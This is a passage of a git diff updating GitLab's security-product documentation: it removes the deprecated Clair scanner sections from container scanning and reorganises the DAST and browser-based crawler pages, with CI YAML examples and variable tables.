+ self-signed certificate, then you must set `CS_DOCKER_INSECURE: "true"` in the above
+ `container_scanning` section of your `.gitlab-ci.yml`.
#### Automating container scanning vulnerability database updates with a pipeline
We recommend that you set up a [scheduled pipeline](../../../ci/pipelines/schedules.md)
-to fetch the latest vulnerabilities database on a preset schedule. Because the Clair scanner is
-deprecated, the latest vulnerabilities are currently only available for the Trivy scanner.
+to fetch the latest vulnerabilities database on a preset schedule.
Automating this with a pipeline means you do not have to do it manually each time. You can use the
following `.gitlab-yml.ci` example as a template.
```yaml
variables:
- # If using Clair, uncomment the following 2 lines and comment the Trivy lines below
- # SOURCE_IMAGE: arminc/clair-db:latest
- # TARGET_IMAGE: $CI_REGISTRY/$CI_PROJECT_PATH/clair-vulnerabilities-db
-
- # If using Trivy, uncomment the following 3 lines and comment the Clair lines above
- CS_MAJOR_VERSION: 4 # ensure that this value matches the one you use in your scanning jobs
- SOURCE_IMAGE: registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning:$CS_MAJOR_VERSION
+ SOURCE_IMAGE: registry.gitlab.com/security-products/container-scanning:4
TARGET_IMAGE: $CI_REGISTRY/$CI_PROJECT_PATH/gitlab-container-scanning
image: docker:stable
-update-vulnerabilities-db:
+update-scanner-image:
services:
- docker:19-dind
script:
@@ -536,42 +430,6 @@ you're using a non-GitLab Docker registry, you must change the `$CI_REGISTRY` va
## Running the standalone container scanning tool
-### Clair
-
-It's possible to run [Klar](https://gitlab.com/gitlab-org/security-products/analyzers/klar)
-against a Docker container without needing to run it within the context of a CI job. To scan an
-image directly, follow these steps:
-
-1. Run [Docker Desktop](https://www.docker.com/products/docker-desktop) or [Docker Machine](https://github.com/docker/machine).
-1. Run the latest [prefilled vulnerabilities database](https://hub.docker.com/repository/docker/arminc/clair-db) Docker image:
-
- ```shell
- docker run -p 5432:5432 -d --name clair-db arminc/clair-db:latest
- ```
-
-1. Configure a CI/CD variable to point to your local machine's IP address (or insert your IP address instead of the `LOCAL_MACHINE_IP_ADDRESS` variable in the `CLAIR_DB_CONNECTION_STRING` in the next step):
-
- ```shell
- export LOCAL_MACHINE_IP_ADDRESS=your.local.ip.address
- ```
-
-1. Run the analyzer's Docker image, passing the image and tag you want to analyze in the `CI_APPLICATION_REPOSITORY` and `CI_APPLICATION_TAG` variables:
-
- ```shell
- docker run \
- --interactive --rm \
- --volume "$PWD":/tmp/app \
- -e CI_PROJECT_DIR=/tmp/app \
- -e CLAIR_DB_CONNECTION_STRING="postgresql://postgres:password@${LOCAL_MACHINE_IP_ADDRESS}:5432/postgres?sslmode=disable&statement_timeout=60000" \
- -e CI_APPLICATION_REPOSITORY=registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256 \
- -e CI_APPLICATION_TAG=bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e \
- registry.gitlab.com/gitlab-org/security-products/analyzers/klar
- ```
-
-The results are stored in `gl-container-scanning-report.json`.
-
-### Trivy
-
It's possible to run the [GitLab container scanning tool](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning)
against a Docker container without needing to run it within the context of a CI job. To scan an
image directly, follow these steps:
@@ -589,7 +447,7 @@ image directly, follow these steps:
-e CI_PROJECT_DIR=/tmp/app \
-e CI_APPLICATION_REPOSITORY=registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256 \
-e CI_APPLICATION_TAG=bc09fe2e0721dfaeee79364115aeedf2174cce0947b9ae5fe7c33312ee019a4e \
- registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning
+ registry.gitlab.com/security-products/container-scanning
```
The results are stored in `gl-container-scanning-report.json`.
@@ -698,8 +556,8 @@ the security vulnerabilities in your groups, projects and pipelines.
## Vulnerabilities database update
-If you're using Klar and want more information about the vulnerabilities database update, see the
-[maintenance table](../vulnerabilities/index.md#vulnerability-scanner-maintenance).
+If you use container scanning and want more information about the vulnerabilities database update,
+see the [maintenance table](../vulnerabilities/index.md#vulnerability-scanner-maintenance).
## Interacting with the vulnerabilities
@@ -711,13 +569,13 @@ Some vulnerabilities can be fixed by applying the solution that GitLab
automatically generates.
To enable remediation support, the scanning tool _must_ have access to the `Dockerfile` specified by
-the [`DOCKERFILE_PATH`](#available-variables) CI/CD variable. To ensure that the scanning tool
+the [`DOCKERFILE_PATH`](#available-cicd-variables) CI/CD variable. To ensure that the scanning tool
has access to this
-file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/runners/README.md#git-strategy) in
+file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/runners/configure_runners.md#git-strategy) in
your `.gitlab-ci.yml` file by following the instructions described in this document's
[overriding the container scanning template](#overriding-the-container-scanning-template) section.
-Read more about the [solutions for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically).
+Read more about the [solutions for vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability).
## Troubleshooting
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index 8b0a84eae4b..b46547b6828 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -1,6 +1,6 @@
---
stage: Secure
-group: Fuzz Testing
+group: Dynamic Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -39,7 +39,7 @@ Docker image with the fuzz engine to run your app.
To enable fuzzing, you must
[include](../../../ci/yaml/README.md#includetemplate)
-the [`Coverage-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml)
+the [`Coverage-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml)
provided as part of your GitLab installation.
To do so, add the following to your `.gitlab-ci.yml` file:
diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md
index bc0c1e52626..aaf701c91dc 100644
--- a/doc/user/application_security/cve_id_request.md
+++ b/doc/user/application_security/cve_id_request.md
@@ -5,7 +5,7 @@ group: Vulnerability Research
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# CVE ID Requests
+# CVE ID Requests **(ULTIMATE SAAS)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com.
diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md
index b8c3529225c..072f6fba4ba 100644
--- a/doc/user/application_security/dast/browser_based.md
+++ b/doc/user/application_security/dast/browser_based.md
@@ -27,62 +27,44 @@ Scanning a web application with both the browser-based crawler and GitLab DAST s
The browser-based crawler is an extension to the GitLab DAST product. DAST should be included in the CI/CD configuration and the browser-based crawler enabled using CI/CD variables:
-1. Install the DAST [prerequisites](index.md#prerequisite).
+1. Ensure the DAST [prerequisites](index.md#prerequisites) are met.
1. Include the [DAST CI template](index.md#include-the-dast-template).
1. Set the target website using the `DAST_WEBSITE` CI/CD variable.
1. Set the CI/CD variable `DAST_BROWSER_SCAN` to `true`.
-
+
An example configuration might look like the following:
```yaml
include:
- template: DAST.gitlab-ci.yml
-variables:
- DAST_WEBSITE: "https://example.com"
- DAST_BROWSER_SCAN: "true"
+dast:
+ variables:
+ DAST_WEBSITE: "https://example.com"
+ DAST_BROWSER_SCAN: "true"
```
-### Available variables
+### Available CI/CD variables
The browser-based crawler can be configured using CI/CD variables.
-| CI/CD variable | Type | Example | Description |
+| CI/CD variable | Type | Example | Description |
|--------------------------------------| ----------------| --------------------------------- | ------------|
| `DAST_WEBSITE` | URL | `http://www.site.com` | The URL of the website to scan. |
-| `DAST_BROWSER_SCAN` | boolean | `true` | Configures DAST to use the browser-based crawler engine. |
-| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. |
-| `DAST_BROWSER_EXCLUDED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered excluded and connections are forcibly dropped. |
-| `DAST_BROWSER_IGNORED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are accessed but not reported against. |
-| `DAST_BROWSER_MAX_ACTIONS` | number | `10000` | The maximum number of actions that the crawler performs. For example, clicking a link, or filling a form. |
-| `DAST_BROWSER_MAX_DEPTH` | number | `10` | The maximum number of chained actions that the crawler takes. For example, `Click -> Form Fill -> Click` is a depth of three. |
-| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but will likely produce little benefit after five to seven instances. |
-| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. |
-| `DAST_BROWSER_LOG` | List of strings | `brows:debug,auth:debug` | A list of modules and their intended log level. |
-| `DAST_AUTH_URL` | string | `https://example.com/sign-in` | The URL of page that hosts the sign-in form. |
-| `DAST_USERNAME` | string | `user123` | The username to enter into the username field on the sign-in HTML form. |
-| `DAST_PASSWORD` | string | `p@55w0rd` | The password to enter into the password field on the sign-in HTML form. |
-| `DAST_USERNAME_FIELD` | selector | `id:user` | A selector describing the username field on the sign-in HTML form. |
-| `DAST_PASSWORD_FIELD` | selector | `css:.password-field` | A selector describing the password field on the sign-in HTML form. |
-| `DAST_SUBMIT_FIELD` | selector | `xpath://input[@value='Login']` | A selector describing the element that when clicked submits the login form or the password form of a multi-page login process. |
-| `DAST_FIRST_SUBMIT_FIELD` | selector | `.submit` | A selector describing the element that when clicked submits the username form of a multi-page login process. |
-
-The [DAST variables](index.md#available-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`,
+| `DAST_BROWSER_SCAN` | boolean | `true` | Configures DAST to use the browser-based crawler engine. |
+| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. |
+| `DAST_BROWSER_EXCLUDED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered excluded and connections are forcibly dropped. |
+| `DAST_BROWSER_IGNORED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are accessed but not reported against. |
+| `DAST_BROWSER_MAX_ACTIONS` | number | `10000` | The maximum number of actions that the crawler performs. For example, clicking a link, or filling a form. |
+| `DAST_BROWSER_MAX_DEPTH` | number | `10` | The maximum number of chained actions that the crawler takes. For example, `Click -> Form Fill -> Click` is a depth of three. |
+| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but will likely produce little benefit after five to seven instances. |
+| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. |
+| `DAST_BROWSER_LOG` | List of strings | `brows:debug,auth:debug` | A list of modules and their intended log level. |
+
+The [DAST variables](index.md#available-cicd-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`,
+`DAST_AUTH_URL`, `DAST_USERNAME`, `DAST_PASSWORD`, `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, `DAST_FIRST_SUBMIT_FIELD`, `DAST_SUBMIT_FIELD`, `DAST_EXCLUDE_URLS`, `DAST_AUTH_VERIFICATION_URL`, `DAST_BROWSER_AUTH_VERIFICATION_SELECTOR`, `DAST_BROWSER_AUTH_VERIFICATION_LOGIN_FORM`, `DAST_BROWSER_AUTH_REPORT`,
`DAST_INCLUDE_ALPHA_VULNERABILITIES`, `DAST_PATHS_FILE`, `DAST_PATHS`, `DAST_ZAP_CLI_OPTIONS`, and `DAST_ZAP_LOG_CONFIGURATION` are also compatible with browser-based crawler scans.
-
-#### Selectors
-
-Selectors are used by CI/CD variables to specify the location of an element displayed on a page in a browser.
-Selectors have the format `type`:`search string`. The crawler will search for the selector using the search string based on the type.
-
-| Selector type | Example | Description |
-| ------------- | ------------------------------ | ----------- |
-| `css` | `css:.password-field` | Searches for a HTML element having the supplied CSS selector. Selectors should be as specific as possible for performance reasons. |
-| `id` | `id:element` | Searches for an HTML element with the provided element ID. |
-| `name` | `name:element` | Searches for an HTML element with the provided element name. |
-| `xpath` | `xpath://*[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. Note that XPath searches are expected to be less performant than other searches. |
-| None provided | `a.click-me` | Defaults to searching using a CSS selector. |
-
+
## Vulnerability detection
While the browser-based crawler crawls modern web applications efficiently, vulnerability detection is still managed by the standard DAST/Zed Attack Proxy (ZAP) solution.
@@ -100,9 +82,9 @@ This can come at a cost of increased scan time.
You can manage the trade-off between coverage and scan time with the following measures:
-- Limit the number of actions executed by the browser with the [variable](#available-variables) `DAST_BROWSER_MAX_ACTIONS`. The default is `10,000`.
-- Limit the page depth that the browser-based crawler will check coverage on with the [variable](#available-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`.
-- Vertically scaling the runner and using a higher number of browsers with [variable](#available-variables) `DAST_BROWSER_NUMBER_OF_BROWSERS`. The default is `3`.
+- Limit the number of actions executed by the browser with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_ACTIONS`. The default is `10,000`.
+- Limit the page depth that the browser-based crawler will check coverage on with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`.
+- Vertically scaling the runner and using a higher number of browsers with [variable](#available-cicd-variables) `DAST_BROWSER_NUMBER_OF_BROWSERS`. The default is `3`.
## Debugging scans using logging
@@ -116,10 +98,11 @@ For example, the following job definition enables the browsing module and the au
include:
- template: DAST.gitlab-ci.yml
-variables:
- DAST_WEBSITE: "https://my.site.com"
- DAST_BROWSER_SCAN: "true"
- DAST_BROWSER_LOG: "brows:debug,auth:debug"
+dast:
+ variables:
+ DAST_WEBSITE: "https://my.site.com"
+ DAST_BROWSER_SCAN: "true"
+ DAST_BROWSER_LOG: "brows:debug,auth:debug"
```
### Log message format
diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png
new file mode 100644
index 00000000000..132c9f9c991
--- /dev/null
+++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png
Binary files differ
diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png
new file mode 100644
index 00000000000..4e1dca626bc
--- /dev/null
+++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png
Binary files differ
diff --git a/doc/user/application_security/dast/img/dast_auth_report.jpg b/doc/user/application_security/dast/img/dast_auth_report.jpg
new file mode 100644
index 00000000000..5d9d98045ef
--- /dev/null
+++ b/doc/user/application_security/dast/img/dast_auth_report.jpg
Binary files differ
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 1093e7cfabd..675d01373d4 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -16,40 +16,161 @@ Dynamic Application Security Testing (DAST) examines applications for
vulnerabilities like these in deployed environments. DAST uses the open source
tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) for analysis.
+After DAST creates its report, GitLab evaluates it for discovered
+vulnerabilities between the source and target branches. Relevant
+findings are noted in the merge request.
+
+The comparison logic uses only the latest pipeline executed for the target
+branch's base commit. Running the pipeline on other commits has no effect on
+the merge request.
+
NOTE:
To learn how four of the top six attacks were application-based and how
to protect your organization, download our
["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/)
whitepaper.
-You can use DAST to examine your web applications:
+## DAST application analysis
-- When initiated by a merge request, running as CI/CD pipeline job.
-- On demand, outside the CI/CD pipeline.
+DAST can analyze applications in two ways:
-After DAST creates its report, GitLab evaluates it for discovered
-vulnerabilities between the source and target branches. Relevant
-findings are noted in the merge request.
+- Passive scan only (DAST default). DAST executes
+ [ZAP's Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and doesn't
+ actively attack your application.
+- Passive and active scan. DAST can be [configured](#full-scan) to also perform an active scan
+ to attack your application and produce a more extensive security report. It can be very
+ useful when combined with [Review Apps](../../../ci/review_apps/index.md).
-The comparison logic uses only the latest pipeline executed for the target
-branch's base commit. Running the pipeline on other commits has no effect on
-the merge request.
+NOTE:
+A pipeline may consist of multiple jobs, including SAST and DAST scanning. If any job
+fails to finish for any reason, the security dashboard doesn't show DAST scanner output. For
+example, if the DAST job finishes but the SAST job fails, the security dashboard doesn't show DAST
+results. On failure, the analyzer outputs an
+[exit code](../../../development/integrations/secure.md#exit-code).
-## Prerequisite
+## Prerequisites
-To use DAST, ensure you're using GitLab Runner with the
+- [GitLab Runner](../../../ci/runners/README.md) available, with the
[`docker` executor](https://docs.gitlab.com/runner/executors/docker.html).
+- Target application deployed. For more details, read [Deployment options](#deployment-options).
+
+### Deployment options
+
+Depending on the complexity of the target application, there are a few options as to how to deploy and configure
+the DAST template. We provided a set of example applications with their configurations in our
+[DAST demonstrations](https://gitlab.com/gitlab-org/security-products/demos/dast/) project.
+
+#### Review Apps
+
+Review Apps are the most involved method of deploying your DAST target application. To assist in the process,
+we created a Review App deployment using Google Kubernetes Engine (GKE). This example can be found in our
+[Review Apps - GKE](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke) project, along with detailed
+instructions in the [README.md](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke/-/blob/master/README.md)
+on how to configure Review Apps for DAST.
+
+#### Docker Services
+
+If your application utilizes Docker containers you have another option for deploying and scanning with DAST.
+After your Docker build job completes and your image is added to your container registry, you can use the image as a
+[service](../../../ci/services/index.md).
+
+By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer.
+
+```yaml
+stages:
+ - build
+ - dast
+
+include:
+ - template: DAST.gitlab-ci.yml
+
+# Deploys the container to the GitLab container registry
+deploy:
+ services:
+ - name: docker:dind
+ alias: dind
+ image: docker:19.03.5
+ stage: build
+ script:
+ - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY
+ - docker pull $CI_REGISTRY_IMAGE:latest || true
+ - docker build --tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA --tag $CI_REGISTRY_IMAGE:latest .
+ - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
+ - docker push $CI_REGISTRY_IMAGE:latest
+
+services: # use services to link your app container to the dast job
+ - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
+ alias: yourapp
+
+variables:
+ DAST_FULL_SCAN_ENABLED: "true" # do a full scan
+ DAST_ZAP_USE_AJAX_SPIDER: "true" # use the ajax spider
+```
+
+Most applications depend on multiple services such as databases or caching services. By default, services defined in the services fields cannot communicate
+with each another. To allow communication between services, enable the `FF_NETWORK_PER_BUILD` [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags).
+
+```yaml
+variables:
+ FF_NETWORK_PER_BUILD: "true" # enable network per build so all services can communicate on the same network
+
+services: # use services to link the container to the dast job
+ - name: mongo:latest
+ alias: mongo
+ - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
+ alias: yourapp
+```
+
+## DAST run options
+
+You can use DAST to examine your web application:
+
+- Automatically, initiated by a merge request.
+- Manually, initiated on demand.
+
+Some of the differences between these run options:
-## Enable DAST
+| Automatic scan | On-demand scan |
+|:-----------------------------------------------------------------|:------------------------------|
+| DAST scan is initiated by a merge request. | DAST scan is initiated manually, outside the DevOps life cycle. |
+| CI/CD variables are sourced from `.gitlab-ci.yml`. | CI/CD variables are provided in the UI. |
+| All [DAST CI/CD variables](#available-cicd-variables) available. | Subset of [DAST CI/CD variables](#available-cicd-variables) available. |
+| `DAST.gitlab-ci.yml` template. | `DAST-On-Demand-Scan.gitlab-ci.yml` template. |
-To enable DAST, either:
+### Enable automatic DAST run
+
+To enable DAST to run automatically, either:
- Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast) (provided
by [Auto DevOps](../../../topics/autodevops/index.md)).
-- Manually [include the DAST template](#include-the-dast-template) in your existing
+- [Include the DAST template](#include-the-dast-template) in your existing
`.gitlab-ci.yml` file.
-### Include the DAST template
+### DAST job order
+
+When using the `DAST.gitlab-ci.yml` template, the `dast` stage is run last as shown in
+the example below. To ensure DAST scans the latest code, deploy your application
+in a stage before the `dast` stage.
+
+```yaml
+ stages:
+ - build
+ - test
+ - deploy
+ - dast
+```
+
+Be aware that if your pipeline is configured to deploy to the same webserver in
+each run, running a pipeline while another is still running could cause a race condition
+where one pipeline overwrites the code from another pipeline. The site to be scanned
+should be excluded from changes for the duration of a DAST scan.
+The only changes to the site should be from the DAST scanner. Be aware that any
+changes that users, scheduled tasks, database changes, code changes, other pipelines, or other scanners make to
+the site during a scan could lead to inaccurate results.
+
+#### Include the DAST template
+
+> This template was [updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62597) to DAST_VERSION: 2 in GitLab 14.0.
If you want to manually add DAST to your application, the DAST job is defined
in a CI/CD template file. Updates to the template are provided with GitLab
@@ -59,7 +180,7 @@ To include the DAST template:
1. Select the CI/CD template you want to use:
- - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml):
+ - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml):
Stable version of the DAST CI/CD template.
- [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml):
Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325)
@@ -119,7 +240,7 @@ To include the DAST template:
```
You can see an example of this in our
- [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
+ [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
file.
The included template creates a `dast` job in your CI/CD pipeline and scans
@@ -146,182 +267,12 @@ page.
#### Crawling web applications dependent on JavaScript
-GitLab has released a new browser-based crawler, an add-on to DAST that uses a browser to crawl web applications for content. This crawler replaces the standard DAST Spider and Ajax Crawler.
+GitLab has released a new browser-based crawler, an add-on to DAST that uses a browser to crawl web applications for content. This crawler replaces the standard DAST Spider and Ajax Crawler, and uses the same authentication mechanisms as a normal DAST scan.
The browser-based crawler crawls websites by browsing web pages as a user would. This approach works well with web applications that make heavy use of JavaScript, such as Single Page Applications.
For more details, including setup instructions, see [DAST browser-based crawler](browser_based.md).
-## Deployment options
-
-Depending on the complexity of the target application, there are a few options as to how to deploy and configure
-the DAST template. A set of example applications with their configurations have been made available in our
-[DAST demonstrations](https://gitlab.com/gitlab-org/security-products/demos/dast/) project.
-
-### Review Apps
-
-Review Apps are the most involved method of deploying your DAST target application. To assist in the process,
-we created a Review App deployment using Google Kubernetes Engine (GKE). This example can be found in our
-[Review Apps - GKE](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke) project along with detailed
-instructions in the [README.md](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke/-/blob/master/README.md)
-on how to configure Review Apps for DAST.
-
-### Docker Services
-
-If your application utilizes Docker containers you have another option for deploying and scanning with DAST.
-After your Docker build job completes and your image is added to your container registry, you can utilize the image as a
-[service](../../../ci/services/index.md).
-
-By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer.
-
-```yaml
-stages:
- - build
- - dast
-
-include:
- - template: DAST.gitlab-ci.yml
-
-# Deploys the container to the GitLab container registry
-deploy:
- services:
- - name: docker:dind
- alias: dind
- image: docker:19.03.5
- stage: build
- script:
- - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY
- - docker pull $CI_REGISTRY_IMAGE:latest || true
- - docker build --tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA --tag $CI_REGISTRY_IMAGE:latest .
- - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
- - docker push $CI_REGISTRY_IMAGE:latest
-
-services: # use services to link your app container to the dast job
- - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
- alias: yourapp
-
-variables:
- DAST_FULL_SCAN_ENABLED: "true" # do a full scan
- DAST_ZAP_USE_AJAX_SPIDER: "true" # use the ajax spider
-```
-
-Most applications depend on multiple services such as databases or caching services. By default, services defined in the services fields cannot communicate
-with each another. To allow communication between services, enable the `FF_NETWORK_PER_BUILD` [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags).
-
-```yaml
-variables:
- FF_NETWORK_PER_BUILD: "true" # enable network per build so all services can communicate on the same network
-
-services: # use services to link the container to the dast job
- - name: mongo:latest
- alias: mongo
- - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
- alias: yourapp
-```
-
-### DAST application analysis
-
-DAST can analyze applications in two ways:
-
-- Passive scan only (DAST default). DAST executes
- [ZAP's Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and doesn't
- actively attack your application.
-- Passive and active scan. DAST can be [configured](#full-scan) to also perform an active scan
- to attack your application and produce a more extensive security report. It can be very
- useful when combined with [Review Apps](../../../ci/review_apps/index.md).
-
-Note that a pipeline may consist of multiple jobs, including SAST and DAST scanning. If any job
-fails to finish for any reason, the security dashboard doesn't show DAST scanner output. For
-example, if the DAST job finishes but the SAST job fails, the security dashboard doesn't show DAST
-results. On failure, the analyzer outputs an
-[exit code](../../../development/integrations/secure.md#exit-code).
-
-#### DAST job order
-
-When using the `DAST.gitlab-ci.yml` template, the `dast` job is run last as shown in
-the example below. To ensure DAST is scanning the latest code, your CI pipeline
-should deploy changes to the web server in one of the jobs preceding the `dast` job.
-
-```yaml
-stages:
- - build
- - test
- - deploy
- - dast
-```
-
-Be aware that if your pipeline is configured to deploy to the same webserver in
-each run, running a pipeline while another is still running could cause a race condition
-where one pipeline overwrites the code from another pipeline. The site to be scanned
-should be excluded from changes for the duration of a DAST scan.
-The only changes to the site should be from the DAST scanner. Be aware that any
-changes that users, scheduled tasks, database changes, code changes, other pipelines, or other scanners make to
-the site during a scan could lead to inaccurate results.
-
-### Hide sensitive information
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36332) in GitLab 13.1.
-
-HTTP request and response headers may contain sensitive information, including cookies and
-authorization credentials. By default, the following headers are masked:
-
-- `Authorization`.
-- `Proxy-Authorization`.
-- `Set-Cookie` (values only).
-- `Cookie` (values only).
-
-Using the [`DAST_MASK_HTTP_HEADERS` CI/CD variable](#available-variables), you can list the
-headers whose values you want masked. For details on how to mask headers, see
-[Customizing the DAST settings](#customizing-the-dast-settings).
-
-### Authentication
-
-It's also possible to authenticate the user before performing the DAST checks.
-
-NOTE:
-We highly recommended that you configure the scanner to authenticate to the application,
-otherwise it cannot check most of the application for security risks, as most
-of your application is likely not accessible without authentication. It is also recommended
-that you periodically confirm the scanner's authentication is still working as this tends to break over
-time due to authentication changes to the application.
-
-Create masked CI/CD variables to pass the credentials that DAST uses.
-To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
-Note that the key of the username variable must be `DAST_USERNAME`
-and the key of the password variable must be `DAST_PASSWORD`.
-
-After DAST has authenticated with the application, all cookies are collected from the web browser.
-For each cookie a matching session token is created for use by ZAP. This ensures ZAP is recognized
-by the application as correctly authenticated.
-
-Other variables that are related to authenticated scans are:
-
-```yaml
-include:
- - template: DAST.gitlab-ci.yml
-
-variables:
- DAST_WEBSITE: https://example.com
- DAST_AUTH_URL: https://example.com/sign-in
- DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form
- DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form
- DAST_SUBMIT_FIELD: login # the `id` or `name` of the element that when clicked will submit the login form or the password form of a multi-page login process
- DAST_FIRST_SUBMIT_FIELD: next # the `id` or `name` of the element that when clicked will submit the username form of a multi-page login process
- DAST_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between
- DAST_AUTH_VERIFICATION_URL: http://example.com/loggedin_page # optional, a URL only accessible to logged in users that DAST can use to confirm successful authentication
-```
-
-The results are saved as a
-[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast)
-that you can later download and analyze.
-Due to implementation limitations, we always take the latest DAST artifact available.
-
-WARNING:
-**NEVER** run an authenticated scan against a production server. When an authenticated
-scan is run, it may perform *any* function that the authenticated user can. This
